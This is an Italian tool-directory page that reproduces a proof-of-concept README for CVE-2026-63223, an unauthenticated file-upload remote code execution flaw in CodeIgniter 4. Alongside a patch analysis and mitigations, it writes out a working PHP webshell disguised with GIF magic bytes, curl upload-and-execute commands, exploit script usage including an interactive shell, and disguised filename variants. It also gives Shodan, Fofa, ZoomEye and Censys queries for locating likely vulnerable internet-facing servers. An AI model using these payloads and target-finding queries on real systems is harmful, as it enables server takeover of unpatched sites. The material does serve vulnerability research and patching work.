Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-63223-POC — CVE-2026-63223 PoC — CodeIgniter 4 is_image/mime_in File Upload RCE (CVSS 9.8). Esecuzione remota di codice non autenticata tramite bypass del caricamento di file senza restrizioni usando byte magici delle immagini. Corretto in v4.7.4. | Kitploit
Strumenti/GitHubGitHub/imbas007/cve-2026-63223-poc
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingApprendimento e FormazioneLab e Pratica

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
GitHub
imbas007/cve-2026-63223-poc

CVE-2026-63223-POC

CVE-2026-63223 PoC — CodeIgniter 4 is_image/mime_in File Upload RCE (CVSS 9.8). Esecuzione remota di codice non autenticata tramite bypass del caricamento di file senza restrizioni usando byte magici delle immagini. Corretto in v4.7.4.

Vedi RepositorySito web
121 mese faNon ancora revisionato
Condividi

CVE-2026-63223 PoC — RCE tramite upload di file in CodeIgniter 4

CVSS 9.8 (Critico) | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE-434: Upload senza restrizioni di file con tipo pericoloso
Corretto in: CodeIgniter 4 v4.7.4
Avviso di sicurezza: GHSA-mmj4-63m4-r6h5


Riassunto della vulnerabilità

Le regole di validazione dell'upload file is_image e mime_in di CodeIgniter 4 controllano solo il tipo MIME derivato dal contenuto (magic bytes), non l'estensione del nome file fornita dal client.

Un attaccante non autenticato può anteporre magic bytes di immagini (GIF89a, \xFF\xD8\xFF\xE0, \x89PNG…) a una webshell PHP, chiamarla , e questa supererà la validazione di o mantenendo comunque un'estensione eseguibile pericolosa. Quando il file caricato viene salvato in una directory accessibile dal web, l'attaccante ottiene .

shell.php
is_image
mime_in
esecuzione arbitraria di codice in remoto

Condizioni di attivazione (devono essere soddisfatte tutte e tre)

  1. L'app valida gli upload usando is_image o mime_in senza un controllo indipendente dell'estensione (ext_in)
  2. Il file caricato viene salvato usando il nome file fornito dal client (preservando l'estensione .php)
  3. Gli upload sono salvati in una directory accessibile dal web dove il server esegue PHP

Analisi della patch

La correzione in v4.7.4 aggiunge due nuovi metodi helper e li integra nelle regole di validazione:

is_image — Prima vs Dopo

root@kitploit:~
// BEFORE (vulnerable) — only checks MIME starts with "image/"
if (mb_strpos($type, 'image') !== 0) {
    return false;
}
return true;

// AFTER (patched) — also checks extension is an image type
if (mb_strpos($type, 'image') !== 0) {
    return false;
}
if ($this->hasInvalidImageClientExtension($file)) {  // ← NEW
    return false;
}
return true;

mime_in — Prima vs Dopo

root@kitploit:~
// BEFORE (vulnerable) — only checks MIME is in allowed list
if (! in_array($file->getMimeType(), $params, true)) {
    return false;
}
return true;

// AFTER (patched) — also checks extension matches detected content
if (! in_array($file->getMimeType(), $params, true)) {
    return false;
}
if ($this->hasMismatchedClientExtension($file)) {    // ← NEW
    return false;
}
return true;

Nuovi metodi helper

root@kitploit:~
// Rejects when non-empty client extension is NOT an image type
private function hasInvalidImageClientExtension(UploadedFile $file): bool
{
    $clientExtension = trim(strtolower($file->getClientExtension()), '. ');
    if ($clientExtension === '') return false;
    $type = Mimes::guessTypeFromExtension($clientExtension) ?? '';
    return mb_strpos($type, 'image') !== 0;
}

// Rejects when client extension doesn't match detected content type
private function hasMismatchedClientExtension(UploadedFile $file): bool
{
    $clientExtension = trim(strtolower($file->getClientExtension()), '. ');
    if ($clientExtension === '') return false;
    return $file->guessExtension() !== $clientExtension;
}

Punto chiave: La correzione demanda ai metodi esistenti Mimes::guessTypeFromExtension() e $file->guessExtension(), aggiungendo un secondo livello di validazione. Gli upload senza estensione (ad es. oggetti JavaScript Blob) vengono ancora accettati.


Componenti del PoC

root@kitploit:~
CVE-2026-63223-POC/
├── README.md                    ← this file
├── Dockerfile                   ← vulnerable lab setup
├── docker-compose.yml           ← easy `docker compose up`
├── exploit/
│   └── exploit.py               ← Python exploit script
└── vulnerable-app/
    ├── app/Controllers/Upload.php    ← vulnerable controller
    ├── app/Config/Routes.php         ← routing
    └── app/Views/
        ├── upload_form_avatar.php    ← is_image bypass form
        ├── upload_form_doc.php       ← mime_in bypass form
        └── upload_form_safe.php      ← SAFE reference form

Avvio rapido — Lab Docker

root@kitploit:~
# Build & start the vulnerable app
docker compose up -d

# Verify it's running
curl http://localhost:8080/health
# → "CVE-2026-63223 PoC Lab — OK"

# Open in browser
open http://localhost:8080/upload/avatar

Endpoint

EndpointVulnerabilitàValidazione
/upload/avatarVULNERABILEsolo is_image
/upload/documentVULNERABILEsolo mime_in
/upload/safeSICURO (controllo)is_image + ext_in

Sfruttamento

Metodo 1 — Interattivo

root@kitploit:~
# Install dependency
pip install requests

# Single command execution
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar --cmd "id"

# Interactive shell
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar --shell

# Using mime_in vector (with PDF in allowed list, but PHP still passes)
python3 exploit/exploit.py -t http://localhost:8080/upload/document --cmd "uname -a"

Metodo 2 — Manuale (curl)

root@kitploit:~
# Generate payload
python3 -c "
import sys
php = b'<?php if(isset(\$_REQUEST[\"c\"])){system(\$_REQUEST[\"c\"]);die();} ?>'
sys.stdout.buffer.write(b'GIF89a\n' + php)
" > evil.php

# Verify it's recognized as an image by file(1)
file evil.php
# → evil.php: GIF image data

# Upload to vulnerable is_image endpoint
curl -F "[email protected];type=image/gif" http://localhost:8080/upload/avatar

# Execute
curl http://localhost:8080/uploads/evil.php?c=id

Metodo 3 — Diversi travestimenti MIME

root@kitploit:~
# JPEG variant (also passes is_image)
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar \
    --method jpg --filename wp-admin.php --cmd "ls -la /"

# PNG variant (also passes is_image, .phtml extension)
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar \
    --method png --filename config.phtml --shell

Perché funziona

Il superglobale PHP $_FILES e l'oggetto UploadedFile di CodeIgniter contengono due informazioni separate:

  1. type / getMimeType() — Derivato dai magic bytes del file (basato sul contenuto), inviato dal browser come parte Content-Type dell'upload multipart
  2. name / getClientName() — Il nome file originale dal client, inclusa l'estensione

Prima della patch, is_image e mime_in controllavano solo il punto #1. Un attaccante invia:

root@kitploit:~
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: image/gif

GIF89a
<?php system($_REQUEST['c']); ?>
  • ✅ is_image vede image/gif → supera
  • ✅ File salvato come shell.php (nome client preservato)
  • ✅ Apache/PHP-FPM esegue i file .php nella directory uploads → RCE

Dopo la patch, l'estensione viene verificata in modo incrociato:

  • ❌ hasInvalidImageClientExtension() vede .php → rifiuta

Rilevamento e Ricerca

Rilevamento tramite Log / Forense

Cerca file PHP/PHTML/PHP5 con magic bytes di immagini nella tua directory uploads:

root@kitploit:~
# Find PHP files that start with image headers
find uploads/ -name "*.php" -exec file {} \; | grep -E '(GIF|JPEG|PNG) image'

# Or check raw bytes
xxd uploads/*.php | head

Query Shodan

root@kitploit:~
# CodeIgniter 4 default welcome page
http.title:"Welcome to CodeIgniter"

# CI4 debug toolbar (exposed in development mode)
http.html:"debugbar_loader"

# CI4 default cookie / session fingerprint
http.component:"CodeIgniter"

# CI4-powered apps with file upload endpoints
http.title:"CodeIgniter" http.html:"upload"

# Broad search — any CI4 instance
"CodeIgniter" "X-Powered-By: PHP"

Query Fofa

root@kitploit:~
# Default CodeIgniter 4 scaffold
body="CodeIgniter" && body="Welcome to"

# CI4 debug toolbar leaked (dev mode = more likely vulnerable)
body="debugbar_loader" && body="kint-rich"

# File upload forms on CI4
body="enctype=\"multipart/form-data\"" && body="CodeIgniter"

# CI4 session fingerprint in Set-Cookie
header="ci_session"

# Broad CI4 detection
app="CodeIgniter Framework"

ZoomEye / Censys

root@kitploit:~
# ZoomEye
app:"CodeIgniter" +"file upload"

# Censys
services.http.response.body:"Welcome to CodeIgniter"

Mitigazione

  1. Aggiornare a CodeIgniter 4 v4.7.4+
  2. Soluzione alternativa (se la patch è rimandata): Aggiungere la regola ext_in insieme a is_image/mime_in
  3. Difesa in profondità:
    • Salvare gli upload fuori dalla web root, servirli tramite proxy readfile()
    • Disabilitare l'esecuzione di PHP nella directory uploads a livello di web server:
      root@kitploit:~
      <Directory "/var/www/html/public/uploads">
          php_admin_flag engine off
      </Directory>
      
    • Generare nomi file controllati dal server invece di preservare i nomi client

Riferimenti

  • Avviso di sicurezza GitHub — GHSA-mmj4-63m4-r6h5
  • Commit di correzione — b6e9a4f
  • Rilascio v4.7.4
  • Analisi del Threat Center di IONIX
  • Scheda NVD

Avviso legale

Questo PoC è solo per scopi educativi e test di sicurezza autorizzati. La vulnerabilità è stata divulgata in modo responsabile e corretta. Non utilizzare questo codice contro sistemi che non possiedi o per cui non hai esplicita autorizzazione al test. Gli autori non si assumono alcuna responsabilità per un uso improprio.

Scarica lo strumento